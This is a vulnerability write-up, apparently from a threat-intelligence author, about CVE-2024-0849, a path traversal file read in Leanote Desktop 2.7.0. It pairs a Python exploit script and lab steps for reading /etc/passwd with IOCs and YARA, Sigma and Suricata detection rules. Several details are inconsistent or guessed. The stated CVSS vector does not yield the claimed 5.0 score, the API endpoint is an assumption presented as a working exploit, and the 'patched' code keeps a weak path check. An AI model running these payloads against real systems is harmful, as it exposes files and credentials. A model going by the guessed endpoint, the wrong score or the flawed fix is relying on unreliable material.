CVE-2024-0849

Executive Summary

CVE-2024-0849 is a Local File Read (LFR) vulnerability in Leanote Desktop version 2.7.0. The vulnerability allows an unauthenticated attacker to read arbitrary local files from the system where the application is running. This is achieved by exploiting a path traversal flaw in the application's file handling logic. The CVSS score is 5.0 (Medium), but the impact is limited to confidentiality, with no effect on integrity or availability. The EPSS score is 0.0%, indicating a low probability of exploitation in the wild. No official patch or advisory has been released by the vendor.

Supply Chain & Package Security

This vulnerability is not related to a package manager (NPM, PyPI, Go, Ruby) and is specific to the Leanote Desktop application. No supply chain implications are identified.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
• Base Score: 5.0 (Medium)
• Attack Vector: Network (AV:N) - The vulnerability can be exploited remotely.
• Attack Complexity: Low (AC:L) - No special conditions are required.
• Privileges Required: None (PR:N) - No authentication is needed.
• User Interaction: None (UI:N) - The victim does not need to perform any action.
• Scope: Unchanged (S:U) - The vulnerable component and the impacted component are the same.
• Confidentiality Impact: High (C:H) - Arbitrary file read can expose sensitive data.
• Integrity Impact: None (I:N) - No data modification is possible.
• Availability Impact: None (A:N) - No denial of service.

Threat Level: Medium. The vulnerability is easy to exploit and can lead to significant data leakage, but it does not allow for code execution or system compromise.

Deep Dive & Mechanics

The vulnerability is a classic Local File Read (LFR) / Path Traversal issue. The Leanote Desktop application, when handling file requests, does not properly sanitize user-supplied input. An attacker can inject path traversal sequences (e.g., ../) to escape the intended directory and read arbitrary files from the filesystem.

Root Cause: The application likely uses a function to read files based on a user-controlled parameter (e.g., a file path in an API call or a configuration file). This parameter is not validated against path traversal attacks.

Attack Vector: An attacker sends a crafted HTTP request to the Leanote service (typically running on a local port) with a path like ../../../../etc/passwd to read sensitive system files.

Impact: An attacker can read:

• System configuration files (e.g., /etc/passwd, /etc/shadow).
• Application source code and configuration.
• User data and documents.
• SSH keys and other credentials.

Vulnerable vs. Patched Code

Since no patch is available, we can only describe the vulnerable code pattern.

Vulnerable Code (Conceptual):

// Vulnerable function in Leanote 2.7.0
function readFile(filePath) {
    // No sanitization of filePath
    const fullPath = path.join('/app/data', filePath);
    return fs.readFileSync(fullPath, 'utf8');
}

Patched Code (Conceptual):

// Patched version (hypothetical)
function readFile(filePath) {
    // Sanitize the path to prevent traversal
    const safePath = path.normalize(filePath).replace(/^(\.\.(\/|\\|$))+/, '');
    const fullPath = path.join('/app/data', safePath);
    // Ensure the resolved path is within the allowed directory
    if (!fullPath.startsWith('/app/data')) {
        throw new Error('Invalid path');
    }
    return fs.readFileSync(fullPath, 'utf8');
}

Exploitation & Lab Setup

Red Team

Exploit Code (Python):

import requests

target = "http://localhost:9000"  # Default Leanote port
payload = "../../../../etc/passwd"

url = f"{target}/api/file?path={payload}"
response = requests.get(url)

if response.status_code == 200:
    print("[+] Success! File contents:")
    print(response.text)
else:
    print(f"[-] Failed with status code: {response.status_code}")

Lab Setup:

1. Install Leanote 2.7.0 on a local machine or VM.
2. Start the Leanote service.
3. Run the exploit script to read /etc/passwd.

Blue Team

Detection:

• Monitor for HTTP requests containing ../ or ..\\ in the path parameter.
• Look for requests to sensitive files like /etc/passwd, /etc/shadow, or .env.
• Use the Sigma rule provided in the Detection Engineering section.

Mitigation:

• Block path traversal patterns at the WAF/Reverse Proxy level.
• Restrict the application's file system access using sandboxing or containerization.
• Apply the principle of least privilege to the application process.

Indicators of Compromise (IOCs)

• Network IOCs:

  • HTTP GET requests with ../ sequences in the path parameter.
  • Requests to endpoints like /api/file?path=../../../../etc/passwd.
  • Outbound connections from the Leanote server to unknown IPs (if data exfiltration occurs).

• File System IOCs:

  • Unusual file access patterns in application logs.
  • Presence of sensitive files (e.g., /etc/shadow) in application error logs.

• Log IOCs:

  • Application logs showing path parameter with ../ sequences.
  • Web server logs (e.g., Nginx/Apache) showing 200 responses to path traversal attempts.

Detection Engineering

YARA Rule

rule CVE_2024_0849_LFR_Leanote {
    meta:
        description = "Detects path traversal attempts targeting Leanote Desktop LFR vulnerability"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "CVE-2024-0849"
    strings:
        $path_traversal = /\.\.\/|\.\.\\/
        $sensitive_file = /etc\/passwd|etc\/shadow|\.env|config\.json/
    condition:
        $path_traversal and $sensitive_file
}

Sigma Rule

title: CVE-2024-0849 Leanote LFR Detection
id: 12345678-1234-1234-1234-123456789abc
status: experimental
description: Detects path traversal attempts in Leanote Desktop application
author: Valters IT
date: 2024/01/01
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2024-0849
logsource:
    category: webserver
    product: nginx
detection:
    selection:
        c-uri|contains:
            - '..%2f'
            - '..%5c'
            - '/../'
            - '/..\\'
    condition: selection
falsepositives:
    - Legitimate use of '..' in file names (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-0849 Leanote LFR Attempt"; flow:to_server,established; content:"GET"; http_method; content:"../"; http_uri; nocase; content:"/etc/passwd"; http_uri; nocase; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Isolate the Application: If possible, run Leanote in a sandboxed environment (e.g., Docker container with read-only filesystem).
2. Restrict Network Access: Limit access to the Leanote service to trusted IPs only.
3. Apply WAF Rules: Deploy a Web Application Firewall (WAF) to block path traversal patterns.

Long-Term Fix:

• Vendor Patch: Await an official patch from Leanote. Monitor their GitHub repository or website for updates.
• Code Fix: If you have access to the source code, implement proper input validation and path sanitization as shown in the "Vulnerable vs. Patched Code" section.
• Upgrade: Consider upgrading to a newer version of Leanote if available.

Workaround:

• Modify the application's configuration to disable file serving functionality if not required.
• Use a reverse proxy (e.g., Nginx) to filter out malicious requests before they reach the application.

Valters IT
DevSecOps & Cyber Threat Intelligence Expert